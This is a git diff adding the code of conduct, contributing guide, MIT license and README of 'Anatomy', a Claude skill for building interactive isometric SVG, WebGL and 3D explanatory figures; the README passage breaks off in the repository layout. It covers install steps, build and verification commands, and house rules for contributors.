b/plugins/zch0227/anatomy-gallery/skills/anatomy/CODE_OF_CONDUCT.md new file mode 100644 index 00000000..bf6a3019 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/CODE_OF_CONDUCT.md @@ -0,0 +1,134 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, caste, color, religion, or sexual +identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the overall + community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or advances of + any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email address, + without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement by direct message +to [@wheresryan22](https://x.com/wheresryan22) on X, or, when the report does +not need to be private, through an issue on the +[GitHub repository](https://github.com/wheresryan22/anatomy/issues). +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series of +actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or permanent +ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within the +community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.1, available at +[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. + +Community Impact Guidelines were inspired by +[Mozilla's code of conduct enforcement ladder][Mozilla CoC]. + +For answers to common questions about this code of conduct, see the FAQ at +[https://www.contributor-covenant.org/faq][FAQ]. Translations are available at +[https://www.contributor-covenant.org/translations][translations]. + +[homepage]: https://www.contributor-covenant.org +[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html +[Mozilla CoC]: https://github.com/mozilla/diversity +[FAQ]: https://www.contributor-covenant.org/faq +[translations]: https://www.contributor-covenant.org/translations diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/CONTRIBUTING.md b/plugins/zch0227/anatomy-gallery/skills/anatomy/CONTRIBUTING.md new file mode 100644 index 00000000..4e78d4d8 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/CONTRIBUTING.md @@ -0,0 +1,163 @@ +# Contributing to Anatomy + +Thank you for helping. Anatomy is judged by how its figures look at 4× zoom, so most of this guide is about checking your work before anyone else does. + +By taking part you agree to follow the [Code of Conduct](CODE_OF_CONDUCT.md). + +## Setup + +You need: + +- **Node.js 20.10 or later.** Nothing to install: the kit, the build scripts and the checks use only Node's built-in modules. +- **Google Chrome or Chromium** for the browser checks. The scripts find it in the usual places; otherwise set `CHROME_PATH` to the binary. +- **Claude Code**, Antigravity, OpenCode or Codex, to try the skill itself. + +```sh +git clone https://github.com/wheresryan22/anatomy.git +cd anatomy +``` + +To use your working copy as the skill while you change it, link it into your personal skills folder (move any installed copy out of the way first): + +```sh +ln -s "$PWD" ~/.claude/skills/anatomy +``` + +For Antigravity, for OpenCode, or for Codex: + +```sh +ln -s "$PWD" ~/.gemini/antigravity/skills/anatomy +``` + +```sh +ln -s "$PWD" ~/.config/opencode/skills/anatomy +``` + +```sh +ln -s "$PWD" ~/.agents/skills/anatomy +``` + +## Building the examples + +Each framework-free example is one script that writes standalone pages next to itself. The built pages are committed. + +```sh +node examples/dial-indicator/build.mjs +node examples/dial-indicator/build.mjs --light +node examples/desk-computer/build.mjs +node examples/desk-computer/build.mjs --light +node examples/arcade-cabinet/build.mjs +node examples/arcade-cabinet/build.mjs --light +node examples/ripple-tank/build.mjs +node examples/ripple-tank/build.mjs --light +node examples/raptor-engine/build.mjs +node examples/raptor-engine/build.mjs --light +node examples/turning-dial/build.mjs +node examples/turning-dial/build.mjs --light +node examples/turning-dial/build.mjs --light --verify +node examples/turning-dial/stress.mjs --light +``` + +The Raptor builds take a few minutes each; the rest take seconds. `examples/test-rig/` and `examples/spot-plate/` are React components with no build script. + +After a build, `git status --short` must show nothing unless you meant to change a figure. CI runs exactly these commands and then `git diff --exit-code`. + +## The checks + +Run the ones that match what you touched, and read every PNG they write: open it and look. Put screenshots in `shots/`, which is ignored. + +**Browser driver regressions.** When changing `scripts/drive.mjs`, check that failed browser evaluations exit nonzero and successful evaluations still work. + +```sh +node --test scripts/drive.test.mjs +``` + +**Geometry audit.** For figures with pipes, cables or round parts. It must end `audit passed`, with every failing line at 0. + +```sh +node examples/raptor-engine/build.mjs --audit +``` + +**Line ends.** Every seam, rib, tick and pointer must end on a stroke, a dot or an outline. It must print `line ends: 0`; `--out` rings the failures. + +```sh +node scripts/lines.mjs examples/dial-indicator/dial-indicator-light.html --out shots/lines-light.png +node scripts/lines.mjs examples/dial-indicator/dial-indicator.html --out shots/lines.png +``` + +**Capture.** Stills, phone width, hover, keys and 4× close-ups, with WebGL on. + +```sh +node scripts/capture.mjs examples/ripple-tank/ripple-tank-light.html --out shots/desk.png +node scripts/capture.mjs examples/ripple-tank/ripple-tank-light.html --out shots/phone.png --width 390 +node scripts/capture.mjs examples/ripple-tank/ripple-tank-light.html --out shots/joint.png --zoom 200,80,220,170 +node scripts/capture.mjs examples/ripple-tank/ripple-tank-light.html --out shots/still.png --reduced +``` + +**Drive.** Scripted sessions: move, click, key, wait for a phase, and contact sheets slowed down to catch pops in a shader. `--no-webgl` checks the SVG fallback. + +```sh +node scripts/drive.mjs examples/raptor-engine/raptor-engine-light.html '[["wait",1500],["key","i"],["wait",3000],["shot","shots/firing.png"]]' +node scripts/drive.mjs examples/raptor-engine/raptor-engine.html '[["wait",1500],["shot","shots/no-webgl.png"]]' --no-webgl +node scripts/drive.mjs examples/raptor-engine/raptor-engine-light.html --actions ignite.json +``` + +Anything with `until` or `eval` goes in an actions file. This `ignite.json` waits for the engine to rest, then films the start of ignition at 20× slow motion: + +```json +[ + ["key", "Escape"], + ["until", "document.querySelector('[data-readout]').textContent.includes('cold')", 15000], + ["slow", 0.05], + ["key", "i"], + ["sheet", "shots/ignite.png", 100, 16], + ["slow", 1] +] +``` + +**3D figures.** The orbit audit is slow (budget 30 to 40 s per part for a full run), so iterate with `--quick` and run the full audit in the background. Only a full run's `turn audit passed` counts. + +```sh +node examples/turning-dial/build.mjs --light --audit --quick +node examples/turning-dial/build.mjs --light --audit > audit.txt 2>&1 & +node scripts/turn-check.mjs examples/turning-dial/build.mjs --fidelity +node scripts/turn-check.mjs examples/turning-dial/turning-dial-verify-light.html --order --step 1 +node scripts/turn-check.mjs examples/turning-dial/turning-dial-light.html --lines +node scripts/turn-check.mjs examples/turning-dial/turning-dial-light.html --perf --width 390 --throttle 4 +node scripts/turn-bench.mjs examples/turning-dial/build.mjs +``` + +[`references/verify.md`](references/verify.md) has every option, the review checklist and the common faults. [`references/3d.md`](references/3d.md) covers the 3D checks. + +## House rules + +These come from [`SKILL.md`](SKILL.md) and [`references/`](references). A pull request that breaks one will be asked to change. + +- **No comments in code.** Not a header, not a note beside a tricky line, not a JSDoc. Put the explanation in names and structure. Tool directives such as `"use client"` are not comments and stay. +- **Kit changes are opt-in.** A change to `kit/` or `scripts/inline-kit.mjs` adds an option or a function whose default is the old behaviour. Every existing example must rebuild byte-identical; CI checks it. If a change is meant to alter a figure, say so in the pull request and commit the rebuilt pages with it. +- **Both themes work, and light ships.** Every colour is a token with a light value and a dark override, never a literal in a figure's CSS or shader. Light shaders are designed for paper (normal premultiplied alpha, never `screen`), not dark glows darkened. Build with `--light` and check both pages. +- **No overlaps.** No pipe or cable passes through anything, at rest, apart or in any frame of a motion. Every crossing is drawn in true depth order, proved by the audit, never tuned by eye. Fix an interlock in the geometry, never with a key bias, and record the true shape of what you draw: a stand-in shape that quiets the audit is a bug. +- **Lines resolve and textures fade.** Every line ends on something. A rib row, bolt circle, seam or rule line ends on a real edge or fades out; it never stops in the middle of a surface. Curved surfaces shade smoothly, with no tone staircase. +- **Shaders never pop.** Every uniform rides an envelope with an attack and a decay, a phase change is a crossfade, and every term reaches zero before any bound or canvas edge. The effect lives in world space in the figure's own camera, and the SVG still reads without WebGL. +- **Every number is true.** The readout, the motion and the caption come from one model with the real numbers. Docs follow the same rule: never write a number or a feature you have not checked. +- **Read every PNG.** Look at 4× close-ups of every joint in both themes before you ask for a review. + +## Changing the skill's text + +`SKILL.md` and `references/` are instructions Claude follows, so keep them short, exact and in the same plain voice. When you change a kit API, update [`references/kit.md`](references/kit.md) in the same pull request. When you add an example, give it a folder under `examples/` with a `build.mjs` that writes `<name>.html` and, with `--light`, `<name>-light.html`; add it to the list in `SKILL.md`, the table in the README and the build list in [`.github/workflows/ci.yml`](.github/workflows/ci.yml). + +## Pull requests + +1. Open an issue first for anything larger than a fix, so we can agree on the approach. +2. Fork the repository and branch from `main`. +3. Make one change per pull request. +4. Rebuild every example and confirm that `git status --short` shows only what you meant to change. +5. Run the checks that apply, and attach screenshots in both themes for any visual change. +6. Add a line under `Unreleased` in [`CHANGELOG.md`](CHANGELOG.md). +7. Fill in the pull request template. + +CI must pass before a merge. + +## Reporting a bug or asking for a figure + +Use the [issue forms](https://github.com/wheresryan22/anatomy/issues/new/choose). For a figure that came out wrong, include the prompt, the theme, where the figure lives (HTML, SVG or React), and a screenshot or close-up of the fault. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/LICENSE b/plugins/zch0227/anatomy-gallery/skills/anatomy/LICENSE new file mode 100644 index 00000000..aa207339 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Ryan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/README.md b/plugins/zch0227/anatomy-gallery/skills/anatomy/README.md new file mode 100644 index 00000000..65ea4952 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/README.md @@ -0,0 +1,328 @@ +<h1 align="center">Anatomy</h1> + +<p align="center"><b>A Claude skill that explains an idea by building it as a real, working object.</b><br>Also runs in OpenCode and Codex.<br>Crafted, interactive isometric figures with many small precise parts, in SVG, WebGL and 3D.</p> + +<p align="center"> + <a href="https://code.claude.com/docs/en/skills"><img src="https://img.shields.io/badge/Claude_Code-skill-1b1b19?style=flat-square&logo=claude&logoColor=white" alt="Claude Code skill"></a> + <a href="https://agentskills.io"><img src="https://img.shields.io/badge/Agent_Skills-compatible-1b1b19?style=flat-square" alt="Agent Skills compatible"></a> + <a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-1b1b19?style=flat-square" alt="MIT license"></a> + <a href="#requirements"><img src="https://img.shields.io/badge/node-%E2%89%A5%2020.10-1b1b19?style=flat-square&logo=nodedotjs&logoColor=white" alt="Node 20.10 or later"></a> + <a href="#requirements"><img src="https://img.shields.io/badge/dependencies-0-1b1b19?style=flat-square" alt="No dependencies"></a> + <a href="https://github.com/wheresryan22/anatomy/actions/workflows/ci.yml"><img src="https://github.com/wheresryan22/anatomy/actions/workflows/ci.yml/badge.svg" alt="CI"></a> +</p> + +<p align="center"> + <a href="https://skills.wheresryan.sh/anatomy"><img src="https://img.shields.io/badge/Website-skills.wheresryan.sh%2Fanatomy-1b1b19?style=for-the-badge" alt="Website: skills.wheresryan.sh/anatomy"></a> +   + <a href="https://github.com/wheresryan22/anatomy/archive/refs/heads/main.zip"><img src="https://img.shields.io/badge/Download-ZIP-1b1b19?style=for-the-badge&logo=github&logoColor=white" alt="Download ZIP"></a> +   + <a href="#install"><img src="https://img.shields.io/badge/Install-npx_skills_add-d7d7d0?style=for-the-badge&labelColor=1b1b19&logo=npm&logoColor=white" alt="Install with npx"></a> +</p> + +<p align="center"> + <a href="#quick-start">Quick start</a> · + <a href="#gallery">Gallery</a> · + <a href="#what-it-makes">What it makes</a> · + <a href="#install">Install</a> · + <a href="#usage">Usage</a> · + <a href="#examples">Examples</a> · + <a href="#how-it-works">How it works</a> · + <a href="#limits">Limits</a> +</p> + +<p align="center"> + <img src=".github/assets/raptor-engine-firing.webp" width="640" alt="An isometric drawing of a Raptor 2 rocket engine hanging in a test stand, firing: a red exhaust plume, drawn by a WebGL shader, pours onto the stand's base plate. The card reads Fig 1, Raptor 2 test stand, Pc 300 bar, 230 tf."> +</p> + +<p align="center"><sub><code>examples/raptor-engine</code>, light theme, firing. The engine and stand are SVG; the plume is a WebGL shader in the same isometric camera.</sub></p> + +--- + +Ask Claude for a figure that explains a technical idea, and Anatomy has it invent a physical thing whose working *is* the concept. A cache key that skips work when nothing changed becomes a pin-tumbler lock that only turns when every pin matches. One GPU context serving many canvases becomes a gantry plotter whose single print head visits 16 wells. + +Then Claude builds that thing out of dozens of small, solid, shaded parts, puts it in a framed card with a title, a hint and a live readout, makes it move calmly under the pointer and the keyboard, and checks its own work by zooming in on every joint. Every number the figure shows comes from the same small model that moves its parts. + +## Quick start + +```sh +npx skills add wheresryan22/anatomy -g +``` + +The CLI asks which agents to set up (Claude Code, Antigravity, OpenCode, Codex). To skip the question, add `-a claude-code`, `-a antigravity`, `-a opencode`, or `-a codex`. + +Then, in Claude Code: + +```text +/anatomy explain how a token bucket rate limiter works, interactive +``` + +For Antigravity, OpenCode, or Codex, target that agent: `-a antigravity`, `-a opencode`, or `-a codex`. Antigravity and OpenCode take the same `/anatomy` command; in Codex, type `$anatomy`. + +That's it. No API keys and nothing to `npm install`: the kit uses only Node's built-in modules. + +## Gallery + +<table> + <tr> + <td width="50%"><img src=".github/assets/raptor-engine-apart.webp" alt="The Raptor 2 engine taken apart in its test stand: its assemblies, pipes and harness hang apart from each other between the posts of the stand."></td> + <td width="50%"><img src=".github/assets/ripple-tank.webp" alt="A school ripple tank on four tall legs, with a lamp on an arm above it. Two dippers on a vibrating bar make interfering waves, and their caustics are projected onto the paper screen under the tank."></td> + </tr> + <tr> + <td><sub><b>raptor-engine</b>: hover to take it apart into 11 assemblies. An audit proves that no pipe passes through anything, at rest, apart and in every frame between.</sub></td> + <td><sub><b>ripple-tank</b>: SVG apparatus over two WebGL layers (lamp light and caustics on the paper, reflections in the water) driven by a dispersion and optics model.</sub></td> + </tr> + <tr> + <td><img src=".github/assets/turning-dial.webp" alt="A combination dial on a raised door plate. A small gold and chrome robot hand lies on the dial and turns with it; a green light glows under one fingertip."></td> + <td><img src=".github/assets/dial-indicator.webp" alt="A dial indicator gauge on a stand above a base plate with a ruler strip. Its plunger rests on one of three gauge blocks on a sliding carriage."></td> + </tr> + <tr> + <td><sub><b>turning-dial</b>: the 3D mode (beta). About 90 parts are re-projected and re-shaded every frame as you drag the dial.</sub></td> + <td><sub><b>dial-indicator</b>: the smallest example, about 300 lines. Hover to slide the carriage; the needle reads each block.</sub></td> + </tr> +</table> + +Every screenshot is the light theme of a page in [`examples/`](examples), captured with the skill's own [`scripts/capture.mjs`](scripts/capture.mjs) and [`scripts/drive.mjs`](scripts/drive.mjs). The built pages are committed: open any `.html` in `examples/` to try it. + +## What it makes + +Three kinds of figure. All three share one kit, one camera and one set of craft rules. + +| Kind | What it is | Example | +|---|---|---| +| **SVG** | The core. Solid isometric parts with four-tone shading, painted back to front, in a card with a live readout and eased motion. It ships as a standalone HTML page, a lone `.svg` file with its styles embedded, or React/Next.js components. | `dial-indicator`, `desk-computer`, `arcade-cabinet`, `test-rig` | +| **SVG + WebGL** | For what lines can't draw: fire, exhaust, water, caustics, lamp light, glow, steam. The shader runs in a canvas between a back and a front SVG, in the figure's own isometric camera, so it sits inside the drawing. The SVG still reads without WebGL. | `raptor-engine`, `ripple-tank` | +| **3D** <sup>beta</sup> | Parts that turn in true 3D: a dial or turntable that spins, fingers that flex, a piece that breaks off and falls. The moving parts are re-projected and re-shaded by the kit's own rules every frame; the rest of the figure stays static art. | `turning-dial` | + +Each figure is light or dark. Light is the theme the skill designs for first, shaders included. + +## Install + +Anatomy is a standard [Agent Skill](https://agentskills.io): a folder with a `SKILL.md` at its root. This repository is that folder. Pick one way in: + +| | Command | Installs to | +|---|---|---| +| **skills CLI**, for you (Claude Code) | `npx skills add wheresryan22/anatomy -g -a claude-code` | `~/.claude/skills/anatomy` | +| **skills CLI**, for you (Antigravity) | `npx skills add wheresryan22/anatomy -g -a antigravity` | `~/.gemini/antigravity/skills/anatomy` | +| **skills CLI**, for you (OpenCode) | `npx skills add wheresryan22/anatomy -g -a opencode` | `~/.config/opencode/skills/anatomy` | +| **skills CLI**, for you (Codex) | `npx skills add wheresryan22/anatomy -g -a codex` | `~/.agents/skills/anatomy` | +| **skills CLI**, for one project | `npx skills add wheresryan22/anatomy` | `.claude/skills/anatomy` for Claude Code, `.agents/skills/anatomy` for Antigravity, OpenCode and Codex | +| **git**, for you (Claude Code) | `git clone https://github.com/wheresryan22/anatomy.git ~/.claude/skills/anatomy` | `~/.claude/skills/anatomy` | +| **git**, for you (Antigravity) | `git clone https://github.com/wheresryan22/anatomy.git ~/.gemini/antigravity/skills/anatomy` | `~/.gemini/antigravity/skills/anatomy` | +| **git**, for you (OpenCode) | `git clone https://github.com/wheresryan22/anatomy.git ~/.config/opencode/skills/anatomy` | `~/.config/opencode/skills/anatomy` | +| **git**, for you (Codex) | `git clone https://github.com/wheresryan22/anatomy.git ~/.agents/skills/anatomy` | `~/.agents/skills/anatomy` | +| **git**, for one project | `git clone https://github.com/wheresryan22/anatomy.git .claude/skills/anatomy` | `.claude/skills/anatomy` (Claude Code and OpenCode) or `.agents/skills/anatomy` (Antigravity, OpenCode and Codex) | +| **Download**, no git | see below | any of the folders above | + +<details> +<summary><b>With the skills CLI</b></summary> + +<br> + +The [`skills`](https://github.com/vercel-labs/skills) CLI finds the `SKILL.md` at the root of this repository and installs it as `anatomy`. By default it installs into the current project and asks which agents to set up. `-g` installs it for your user, and `-a claude-code` sets up Claude Code only. Use `-a antigravity`, `-a opencode` or `-a codex` for Antigravity, OpenCode or Codex only. + +The CLI copies the whole repository, examples included (about 10 MB). It needs a recent Node.js: version 1.7.1 of the CLI asks for 22.20 or later. + +</details> + +<details> +<summary><b>With git</b></summary> + +<br> + +Clone the repository into one of the skill folders, so that `SKILL.md` ends up at `<skills folder>/anatomy/SKILL.md`. For Claude Code use `~/.claude/skills/anatomy` or `.claude/skills/anatomy`. For Antigravity use `~/.gemini/antigravity/skills/anatomy` or `.agents/skills/anatomy`. For OpenCode use `~/.config/opencode/skills/anatomy` or `.opencode/skills/anatomy`; OpenCode also reads the Claude Code and `.agents` folders. For Codex use `~/.agents/skills/anatomy` or `.agents/skills/anatomy`. For a project install, commit the folder so your team gets it too. To update later, `git pull` inside that folder. + +</details> + +<details> +<summary><b>Download, without git</b></summary> + +<br> + +[Download the ZIP](https://github.com/wheresryan22/anatomy/archive/refs/heads/main.zip), unpack it, rename the folder from `anatomy-main` to `anatomy`, and move it into `~/.claude/skills/` (Claude Code), `~/.gemini/antigravity/skills/` (Antigravity), `~/.config/opencode/skills/` (OpenCode) or `~/.agents/skills/` (Codex). + +Or in one line on macOS or Linux: + +```sh +mkdir -p ~/.claude/skills/anatomy && curl -L https://github.com/wheresryan22/anatomy/archive/refs/heads/main.tar.gz | tar -xz --strip-components=1 -C ~/.claude/skills/anatomy +``` + +For Antigravity, OpenCode or Codex, put the same files in `~/.gemini/antigravity/skills/anatomy`, `~/.config/opencode/skills/anatomy` or `~/.agents/skills/anatomy`: + +```sh +mkdir -p ~/.gemini/antigravity/skills/anatomy && curl -L https://github.com/wheresryan22/anatomy/archive/refs/heads/main.tar.gz | tar -xz --strip-components=1 -C ~/.gemini/antigravity/skills/anatomy +``` + +```sh +mkdir -p ~/.config/opencode/skills/anatomy && curl -L https://github.com/wheresryan22/anatomy/archive/refs/heads/main.tar.gz | tar -xz --strip-components=1 -C ~/.config/opencode/skills/anatomy +``` + +</details> + +Claude Code picks up new skills in a running session. If the `skills` folder itself did not exist when the session started, run `/reload-skills`. Antigravity and OpenCode list it as `/anatomy` in their chat; restart if it does not show. Codex lists it under `/skills` and runs it with `$anatomy`; restart Codex if it does not show. + +<details> +<summary><b>Codex: if the browser checks are blocked</b></summary> + +<br> + +The skill checks its own figures by starting headless Chrome, which writes a temporary profile and talks to it over a local port. Codex runs commands in a sandbox, and that sandbox may stop Chrome. The figure is still built; only its checks fail. In order of preference: + +1. When Codex asks to run a check outside the sandbox, approve it for that command. This needs the default `approval_policy = "on-request"`. +2. Or allow it once in `~/.codex/config.toml`: + + ```toml + approval_policy = "on-request" + sandbox_mode = "workspace-write" + + [sandbox_workspace_write] + network_access = true + writable_roots = ["/tmp"] + ``` + + Newer Codex releases may name these settings differently; check the config reference for your version. +3. Or run the check yourself in a normal terminal, for example `node scripts/capture.mjs page.html --out shots/page.png`. + +Starting Codex with `--sandbox danger-full-access` also works, but it lifts every limit for that session, so keep it for projects you trust. + +</details> + +## Usage + +Type `/anatomy` (in Codex, `$anatomy`) and say what the figure should explain: + +```text +/anatomy explain how a token bucket rate limiter works, interactive +``` + +You don't have to name the skill. Claude also loads it when you ask for an isometric illustration, an explanatory figure for docs, a blog post or a landing page, or an interactive explainer. Antigravity, OpenCode and Codex do the same. + +<details> +<summary><b>More prompts</b>, from the skill's <a href="evals/evals.json">evals</a></summary> + +<br> + +```text +/anatomy a figure for our Next.js docs on database connection pooling: a pool of 10 connections, requests borrow one and give it back, and when all 10 are busy new requests wait in a queue. A React component plus a static HTML preview, dark theme. +``` + +```text +/anatomy an isometric SVG explaining how a CDN edge cache works, cache hit vs miss, TTL of 60 s, for a dark landing page. Just the SVG file and a PNG preview. +``` + +```text +/anatomy a Bunsen burner on a lab bench: opening the air collar turns the lazy yellow flame into a roaring blue cone. WebGL for the flame, one HTML file, dark theme. +``` + +```text +/anatomy a heat-exchanger espresso machine with the side panel off: boiler, heat-exchanger tube, group head, pump, steam wand and gauge. Show the water flowing when you pull a shot. Standalone HTML, light theme. +``` + +</details> + +Three habits get the best figures: + +1. **Name the idea, not the drawing.** Say what it should explain and give the real numbers (sizes, counts, rates, thresholds). Anatomy invents the object; that is most of the work, and it does it better than a description of boxes and arrows. +2. **Or name the object.** If you already know the machine you want (an espresso machine, a Bunsen burner, a lock), say so, and say what should move. +3. **Say where it will live.** A standalone HTML page, a lone SVG file, or a React/Next.js component; light or dark. The build differs for each. + +A figure arrives as source you own: a Node build script and the page it writes, or, for React, geometry modules, a server component for the static art and one client component for the motion. The kit comes with it. + +## Examples + +Each framework-free example has a Node build script that writes standalone pages next to itself. Add `--light` for the light theme. + +| Example | What it shows | Build | +|---|---|---| +| [`dial-indicator`](examples/dial-indicator) | A dial gauge on a stand over a carriage of gauge blocks. The smallest example, about 300 lines. | `node examples/dial-indicator/build.mjs` | +| [`desk-computer`](examples/desk-computer) | A 1984-style desk computer with a keyboard you can type on. The typed line appears on a CRT drawn in the plane of the case front, and switching it off collapses the picture to a line and a dot. About 85 solids. | `node examples/desk-computer/build.mjs` | +| [`arcade-cabinet`](examples/arcade-cabinet) | An upright arcade cabinet with its side panel off. Drop a quarter: it rolls down the coin chute past the coin-switch wire into the cash box, a pulse runs along the cable to the board, and the CRT warms up into an attract mode drawn in the plane of the tilted monitor. About 240 solids and 15 cables. | `node examples/arcade-cabinet/build.mjs` | +| [`raptor-engine`](examples/raptor-engine) | A Raptor 2 engine in a test stand. It comes apart into 11 assemblies, and a WebGL plume, shock, splash and steam render between the back and front SVG. The reference for dense pipework, smooth shading, fades and the audit. The build takes a few minutes. | `node examples/raptor-engine/build.mjs` | +| [`ripple-tank`](examples/ripple-tank) | A school ripple tank on tall legs over a paper screen, seen from 44° up. Two WebGL layers are registered to the isometric planes and driven by a pure model in `model.mjs`. | `node examples/ripple-tank/build.mjs` | +| [`test-rig`](examples/test-rig) | A production figure from a React/Next.js site: a glass button on a spring-mounted carriage, a finger probe on a rail, and a dial gauge reading the lean. 53 solids. No build script: copy it into a React app. | none | +| [`spot-plate`](examples/spot-plate) | A second figure from the same site: six pairs of glass drops on a spot plate that run together into one piece of glass as a fan of feeler blades opens. Each pair is drawn from one distance field. No build script: copy it into a React app. | none | +| [`turning-dial`](examples/turning-dial) | The 3D mode: a combination dial that turns in true 3D with a small robot hand on it, a three-hinge finger that lifts, and a pod that breaks off as a free body. `stress.mjs` is a 380-part hand in a cluttered workshop, used to measure performance. | `node examples/turning-dial/build.mjs` | + +`node examples/raptor-engine/build.mjs --audit`, `node examples/arcade-cabinet/build.mjs --audit` and `node examples/turning-dial/build.mjs --light --audit` also run the geometry audit. The 3D audit is slow; see [`references/3d.md`](references/3d.md). + +## How it works + +- **[`SKILL.md`](SKILL.md)** is what Claude reads. It sets the workflow: collect the true numbers first, invent the object, write a parts list, plan the world, build the geometry once with the kit, paint back to front, frame it, make it live, and then verify it like a critic. It also holds the craft rules in short form. +- **[`kit/`](kit)** is the drawing library the figures are built from: the isometric camera, solids and a parts library (`iso-kit`), round parts on any axis (`lathe.mjs`), pipes and cables (`tube.mjs`), the WebGL layer (`gl.mjs`), the 3D runtime (`turn*.mjs`), and React components (`react/`). Apart from React for those components, it has no dependencies. +- **[`references/`](references)** are the long-form guides Claude opens when it needs them: craft, the kit API, motion, React, verification, WebGL, a design walkthrough and the 3D mode. +- **Verification.** [`kit/audit.mjs`](kit/audit.mjs) proves the geometry: nothing passes through anything, every end sits on a mount, and every overlap is drawn in depth order (`node build.mjs --audit`). In headless Chrome, [`scripts/capture.mjs`](scripts/capture.mjs) and [`scripts/drive.mjs`](scripts/drive.mjs) take screenshots, close-ups and slowed-down contact sheets, [`scripts/lines.mjs`](scripts/lines.mjs) fails any line that ends in mid-air, and [`scripts/turn-check.mjs`](scripts/turn-check.mjs) checks 3D figures. The skill tells Claude to read every PNG it makes. + +<details> +<summary><b>Repository layout</b></summary> + +<br> + +```text +anatomy/ +├── SKILL.md the skill: workflow, setup and craft rules +├── kit/ the drawing library +│ ├── iso-kit.ts the core: camera, solids, parts, SVG renderer, card and page, CSS +│ ├── iso-kit.mjs the same core as plain ESM, for Node build scripts +│ ├── iso.css the kit's CSS, both themes +│ ├── react/ draw.tsx (server-safe components), live.tsx (client hooks) +│ ├── lathe.mjs round parts on any axis +│ ├── tube.mjs pipes, tubes and cables +│ ├── audit.mjs the geometry audit +│ ├── gl.mjs the WebGL layer for shaders inside the drawing +│ ├── turn.mjs the 3D runtime (beta) +│ ├── turn-build.mjs the 3D builder +│ ├── turn-audit.mjs the 3D orbit audit +│ └── turn-fixed.mjs, canvas-painter.mjs, gl-shared.mjs +│ experimental variants, not yet documented or used by the examples +├── references/ long-form guides Claude reads as needed +│ ├── craft.md kit.md motion.md react.md +│ └── verify.md webgl.md walkthrough.md 3d.md +├── scripts/ headless Chrome checks and build helpers +│ ├── capture.mjs screenshots and close-ups +│ ├── drive.mjs scripted sessions and contact sheets +│ ├── lines.mjs the line-end check (with line-ends.mjs) +│ ├── inline-kit.mjs the kit 